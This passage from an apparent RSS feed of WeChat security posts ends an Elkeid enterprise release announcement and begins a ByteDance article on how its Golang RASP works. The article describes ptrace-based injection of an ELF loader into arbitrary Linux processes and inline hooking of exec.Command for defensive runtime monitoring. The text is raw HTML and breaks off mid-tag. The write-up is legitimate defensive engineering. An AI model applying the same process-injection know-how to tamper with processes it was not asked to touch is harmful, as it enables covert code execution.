#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 依然会保持端上与接入层的全部功能持续开源。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+s&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"><br/></span><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">九. 申请试用</span></strong><span style="font-size: 18px;"></span></p><p><br/></p></section></section></section></section></section><p><span style="cursor: pointer;color: rgb(61, 170, 214);">elkeid@bytedance.com</span></p><p><span style="color: rgb(61, 170, 214);"></span><br/></p><p><span style="color: rgb(61, 170, 214);"><br/></span></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">十. 其他</span></strong><span style="font-size: 18px;"></span></p><p><br/></p></section></section></section></section></section><p><br/></p><p>Elkeid 社区版：<span style="color: rgb(61, 170, 214);"><a href="https://github.com/bytedance/Elkeid" target="_blank">https://github.com/bytedance/Elkeid</a></span></p><p>Elkeid HUB 社区版：<span style="color: rgb(61, 170, 214);"><a href="https://github.com/bytedance/Elkeid-HUB" target="_blank">https://github.com/bytedance/Elkeid-HUB</a></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p>Elkeid 社区交流群（飞书群）：</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2035714285714285" data-s="300,640" style="width: 284px;height: 342px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=7b1ff3fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCVQJeP9KjgfHye0ibHaPqV2cygMzRQA0ryYO1Nibyrkc86GuogDyI1C8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">十一. 写在最后</span></strong><span style="font-size: 18px;"></span></p><p><br/></p></section></section></section></section></section><p><br/></p><p>最后，由衷的感谢内外部的各位朋友，同事以及早期试用的伙伴们，没有你们的协助、建议与包容，或许 Elkeid 企业版还要走很多弯路才能与大家见面。</p>



<p><a href="2247484252">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9d0b365e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484252%26idx%3D1%26sn%3D20b194dc29141134c52809dec51dd690%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 21 Apr 2022 15:47:00 +0800</pubDate>
    </item>
    <item>
      <title>深入理解 Golang RASP 原理</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484118&amp;idx=1&amp;sn=dae8265bf875e2ab3ea18e5ebb29028c</link>
      <description>介绍 Elkeid-RASP 的 Golang hook 如何实现。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Patte Liu</span> <span>2022-02-28 16:00</span> <span style="display: inline-block;"></span>
</p>

<p>介绍 Elkeid-RASP 的 Golang hook 如何实现。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=db71f517&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVydMgb3qG8KZHib62CiaKyO7RcQvWdegNMDP7rCyS9pR0V08j4qKpgT69iciaP9IdhZFoozWtBEeI5KLQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 data-startline="1" data-endline="1" data-id="Elkeid-Golang-RASP" style="box-sizing: border-box;text-align: left;"><br/></h1><h1 data-startline="1" data-endline="1" data-id="Elkeid-Golang-RASP" style="box-sizing: border-box;text-align: left;"><span data-position="370" data-size="3" style="box-sizing: border-box;">目前 </span><code data-position="374" data-size="11" style="white-space: normal;box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Elkeid RASP</span></code><span data-position="386" data-size="5" style="box-sizing: border-box;"> 开源了 </span><code data-position="392" data-size="3" style="white-space: normal;box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">JVM</span></code><span data-position="396" data-size="1" style="box-sizing: border-box;">、</span><code data-position="398" data-size="6" style="white-space: normal;box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Python</span></code><span data-position="405" data-size="1" style="box-sizing: border-box;">、</span><code data-position="407" data-size="4" style="white-space: normal;box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">NodeJS</span></code><span data-position="412" data-size="4" style="box-sizing: border-box;"> 以及 </span><code data-position="417" data-size="6" style="white-space: normal;box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="424" data-size="40" style="box-sizing: border-box;"> 四种语言的运行时保护功能，四种语言均支持对已存在的进程动态注入防护代码。</span></h1><p style="text-align: left;"><span data-position="424" data-size="40" style="box-sizing: border-box;"><br/></span></p><p style="text-align: left;"><span data-position="424" data-size="40" style="box-sizing: border-box;">代码仓库：</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://github.com/bytedance/Elkeid" target="_blank">https://github.com/bytedance/Elkeid</a></span></p><p style="text-align: left;"><span data-position="424" data-size="40" style="box-sizing: border-box;"><br/></span></p><p style="text-align: left;"><span data-position="424" data-size="40" style="box-sizing: border-box;">本文介绍 </span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);">Golang</span><span data-position="424" data-size="40" style="box-sizing: border-box;"> 部分的设计思路、原理与实现。<br/></span></p><p style="text-align: left;"><span data-position="424" data-size="40" style="box-sizing: border-box;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-startline="1" data-endline="1" data-id="Elkeid-Golang-RASP" style="box-sizing: border-box;text-align: left;"><span style="font-size: 24px;"><strong>简介</strong></span><br/></h1><p data-startline="3" data-endline="5" data-position="27" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="27" data-size="5" style="box-sizing: border-box;">在以往的 </span><code data-position="33" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">RASP</span></code><span data-position="38" data-size="40" style="box-sizing: border-box;"> 解决方案中，部署方式通常需要业务参与，修改相关配置或是启动参数，这也就造成了 </span><code data-position="79" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">RASP</span></code><span data-position="84" data-size="17" style="box-sizing: border-box;"> 部署困难的窘境。更有甚者，由于 </span><code data-position="102" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="109" data-size="13" style="box-sizing: border-box;"> 编译型语言的特性，多数 </span><code data-position="123" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">RASP</span></code><span data-position="128" data-size="44" style="box-sizing: border-box;"> 只能被迫选择在编译期集成进去，以降低技术实现成本，但这无疑又间接加大了部署推广的难度。</span></p><p data-startline="3" data-endline="5" data-position="27" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="173" data-size="8" style="box-sizing: border-box;">我们始终认为限制 </span><code data-position="182" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">RASP</span></code><span data-position="187" data-size="51" style="box-sizing: border-box;"> 发展与推广的是部署，而并非是技术难度，许多厂商在各语言的技术实现上都有大同小异的成熟方案。例如使用 </span><code data-position="239" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">JVM</span></code><span data-position="243" data-size="3" style="box-sizing: border-box;"> 的 </span><code data-position="247" data-size="15" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Instrumentation</span></code><span data-position="263" data-size="8" style="box-sizing: border-box;"> 功能动态修改 </span><code data-position="272" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">bytecode</span></code><span data-position="281" data-size="24" style="box-sizing: border-box;">，可以在虚拟机功能的基础上实现稳定的运行时防护。</span></p><p data-startline="3" data-endline="5" data-position="27" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="306" data-size="4" style="box-sizing: border-box;">所以在 </span><code data-position="311" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Elkeid RASP</span></code><span data-position="323" data-size="40" style="box-sizing: border-box;"> 的项目初期，团队就敲定了动态注入的部署方式，一切都朝着降低部署难度的目标靠拢。</span></p><p data-startline="3" data-endline="5" data-position="27" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="323" data-size="40" style="box-sizing: border-box;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p data-startline="7" data-endline="7" data-position="370" data-size="0" style="box-sizing: border-box;text-align: left;"><span style="font-size: 24px;"><strong><span style="font-size: 24px;box-sizing: border-box;">原理</span></strong></span></p><h1 data-startline="1" data-endline="1" data-id="Elkeid-Golang-RASP" style="white-space: normal;box-sizing: border-box;text-align: left;"><span data-position="370" data-size="3" style="box-sizing: border-box;">目前 </span><code data-position="374" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Elkeid RASP</span></code><span data-position="386" data-size="5" style="box-sizing: border-box;"> 开源了 </span><code data-position="392" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">JVM</span></code><span data-position="396" data-size="1" style="box-sizing: border-box;">、</span><code data-position="398" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Python</span></code><span data-position="405" data-size="1" style="box-sizing: border-box;">、</span><code data-position="407" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">NodeJS</span></code><span data-position="412" data-size="4" style="box-sizing: border-box;"> 以及 </span><code data-position="417" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="424" data-size="40" style="box-sizing: border-box;"> 四种语言的运行时保护功能，四种语言均支持对已存在的进程动态注入防护代码。</span></h1><p data-startline="7" data-endline="7" data-position="370" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="530" data-size="11" style="box-sizing: border-box;">其中</span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"><code data-position="465" data-size="3" style="white-space: normal;box-sizing: border-box;">JVM</code></span><span data-position="530" data-size="11" style="box-sizing: border-box;">、</span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"><code data-position="471" data-size="4" style="white-space: normal;box-sizing: border-box;">Node</code></span><span data-position="530" data-size="11" style="box-sizing: border-box;">依赖于虚拟机提供的机制，运行稳定，而 </span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"><code data-position="497" data-size="6" style="white-space: normal;box-sizing: border-box;">Python</code> </span><span data-position="530" data-size="11" style="box-sizing: border-box;">与 </span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"><code data-position="508" data-size="6" style="white-space: normal;box-sizing: border-box;">Golang</code></span><span data-position="530" data-size="11" style="box-sizing: border-box;"> 则需要利用 </span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"><code data-position="523" data-size="6" style="white-space: normal;box-sizing: border-box;">ptrace</code></span><span data-position="530" data-size="11" style="box-sizing: border-box;"> 在进程层面上做注入。</span><br/></p><p data-startline="7" data-endline="7" data-position="370" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="530" data-size="11" style="box-sizing: border-box;"><br/></span></p><h3 data-startline="8" data-endline="8" data-id="进程注入" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">进程注入</span></strong></h3><p data-startline="9" data-endline="12" data-position="551" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="551" data-size="6" style="box-sizing: border-box;">为了实现对 </span><code data-position="558" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Python</span></code><span data-position="565" data-size="4" style="box-sizing: border-box;"> 以及 </span><code data-position="570" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="577" data-size="36" style="box-sizing: border-box;"> 进程的动态防护，先不考虑运行时层面的代码篡改，我们至少需要一个能够在 </span><code data-position="614" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Linux</span></code><span data-position="620" data-size="24" style="box-sizing: border-box;"> 任意进程空间内执行任意代码的工具。但是很可惜，</span><code data-position="645" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Linux</span></code><span data-position="651" data-size="7" style="box-sizing: border-box;"> 没有类似于 </span><code data-position="659" data-size="18" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">CreateRemoteThread</span></code><span data-position="678" data-size="5" style="box-sizing: border-box;"> 的接口。</span></p><p data-startline="9" data-endline="12" data-position="551" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="684" data-size="14" style="box-sizing: border-box;">大多数的代码注入，都是使用 </span><code data-position="699" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ptrace</span></code><span data-position="706" data-size="13" style="box-sizing: border-box;"> 篡改进程执行流程，调用 </span><code data-position="720" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">dlopen</span></code><span data-position="727" data-size="42" style="box-sizing: border-box;"> 加载动态库。而且大多数项目都会指出，该方式的不稳定性可能会导致进程永久卡住。因为 </span><code data-position="770" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">dlopen</span></code><span data-position="777" data-size="7" style="box-sizing: border-box;"> 底层会调用 </span><code data-position="785" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">malloc</span></code><span data-position="792" data-size="4" style="box-sizing: border-box;">，而在 </span><code data-position="797" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">glibc</span></code><span data-position="803" data-size="11" style="box-sizing: border-box;"> 的官方文档中指明了 </span><code data-position="815" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">malloc</span></code><span data-position="822" data-size="9" style="box-sizing: border-box;"> 是不可重入函数。</span></p><p data-startline="9" data-endline="12" data-position="551" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="833" data-size="12" style="box-sizing: border-box;">在研究过程中，我发现了 </span><span style="background-color: rgb(214, 214, 214);">mandibule</span><span data-position="890" data-size="33" style="box-sizing: border-box;"> 这个项目(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://github.com/ixty/mandibule" target="_blank">https://github.com/ixty/mandibule</a></span><span data-position="890" data-size="33" style="box-sizing: border-box;">)，它另辟蹊径地编写了一个 ELF Loader，再使用 </span><code data-position="924" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ptrace</span></code><span data-position="931" data-size="49" style="box-sizing: border-box;"> 让该 ELF Loader 在目标进程内执行，加载一个全新的程序，执行完成后恢复主线程的寄存器。</span></p><p data-startline="9" data-endline="12" data-position="551" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="982" data-size="59" style="box-sizing: border-box;">由于作者已经放弃维护，而且我自己在使用过程中，发现了项目一些设计上的缺陷以及代码 bug。于是我借鉴了该思路，开发了 </span><span style="background-color: rgb(214, 214, 214);">pangolin</span><span data-position="1088" data-size="34" style="box-sizing: border-box;"> 这个工具(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://github.com/Hackerl/pangolin" target="_blank">https://github.com/Hackerl/pangolin</a></span><span data-position="1088" data-size="34" style="box-sizing: border-box;">)，它可以在任意进程内临时运行另一个程序，细节可以看相关的 </span>blog(<span style="color: rgb(0, 128, 255);"><a href="https://hackerl.github.io/2021/02/11/Linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/" target="_blank">https://hackerl.github.io/2021/02/11/Linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/</a></span>)<span data-position="1208" data-size="1" style="box-sizing: border-box;">。</span></p><p data-startline="9" data-endline="12" data-position="551" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="1208" data-size="1" style="box-sizing: border-box;"><br/></span></p><h3 data-startline="13" data-endline="13" data-id="Inline-Hook" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">Inline Hook</span></strong></h3><p data-startline="14" data-endline="15" data-position="1226" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="1226" data-size="3" style="box-sizing: border-box;">借助 </span><code data-position="1230" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">pangolin</span></code><span data-position="1239" data-size="9" style="box-sizing: border-box;">，我们可以在一个 </span><code data-position="1249" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="1256" data-size="44" style="box-sizing: border-box;"> 的进程中执行任意代码，我们甚至可以篡改可执行段的机器码，很轻松地便可以对某个函数进行 </span><code data-position="1301" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Inline </span></code><code data-position="1301" data-size="11" style="box-sizing: border-box;">Hook</code><span data-position="1313" data-size="8" style="box-sizing: border-box;">。例如我们想对 </span><code data-position="1322" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="1329" data-size="9" style="box-sizing: border-box;"> 的命令执行函数 </span><code data-position="1339" data-size="12" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">exec.Command</span></code><span data-position="1352" data-size="4" style="box-sizing: border-box;"> 进行 </span><code data-position="1357" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Inline Hook</span></code><span data-position="1369" data-size="17" style="box-sizing: border-box;">，那么可以在进程注入期间修改函数 </span><code data-position="1387" data-size="15" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">os/exec.Command</span></code><span data-position="1403" data-size="76" style="box-sizing: border-box;"> 的开头指令，使其执行时先跳转到我们编写的函数中。在我们自定义的函数中，便可以获取该函数调用时的入参以及调用栈，再通过某种通信方式传输出去，一个简单的 </span><code data-position="1480" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">RASP</span></code><span data-position="1485" data-size="8" style="box-sizing: border-box;"> 模型便完成了。</span><br style="box-sizing: border-box;"/><span data-position="1494" data-size="20" style="box-sizing: border-box;">那么要完成该流程，我们需要一些先决条件：</span></p><ul class="list-paddingleft-2" data-startline="16" data-endline="19" style=";"><li style="box-sizing: border-box;"><p style="text-align: left;"><span data-position="1517" data-size="5" style="box-sizing: border-box;">在去除掉 </span><code data-position="1523" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ELF</span></code><span data-position="1527" data-size="15" style="box-sizing: border-box;"> 符号信息的情况下，如何获取 </span><code data-position="1543" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="1550" data-size="23" style="box-sizing: border-box;"> 的符号信息，以确定函数的地址，完成对函数的 </span><code data-position="1574" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Inline Hook</span></code><span data-position="1586" data-size="4" style="box-sizing: border-box;"> 操作。</span></p></li><li style="box-sizing: border-box;"><p style="text-align: left;"><code data-position="1594" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="1601" data-size="34" style="box-sizing: border-box;"> 如何进行函数调用，通过寄存器亦或是栈，我们又该如何读取函数的入参。</span></p></li><li style="box-sizing: border-box;"><p style="text-align: left;"><span data-position="1638" data-size="5" style="box-sizing: border-box;">如何获取 </span><code data-position="1644" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="1651" data-size="7" style="box-sizing: border-box;"> 当前函数的 </span><code data-position="1659" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Stack Frame</span></code><span data-position="1671" data-size="27" style="box-sizing: border-box;"> 长度，用于定位上一层函数的返回地址，完成调用栈回溯。</span></p></li></ul><p style="text-align: left;"><span data-position="1671" data-size="27" style="box-sizing: border-box;"></span></p><h3 data-startline="20" data-endline="20" data-id="Golang-Runtime-Symbol-Information" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">Golang Runtime Symbol Information</span></strong></h3><p data-startline="21" data-endline="22" data-position="1738" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="1738" data-size="5" style="box-sizing: border-box;">在去除了 </span><code data-position="1744" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ELF</span></code><span data-position="1748" data-size="14" style="box-sizing: border-box;"> 符号信息后，一个编译好的 </span><code data-position="1763" data-size="6" style="box-sizing: border-box;"><span style="background-color: 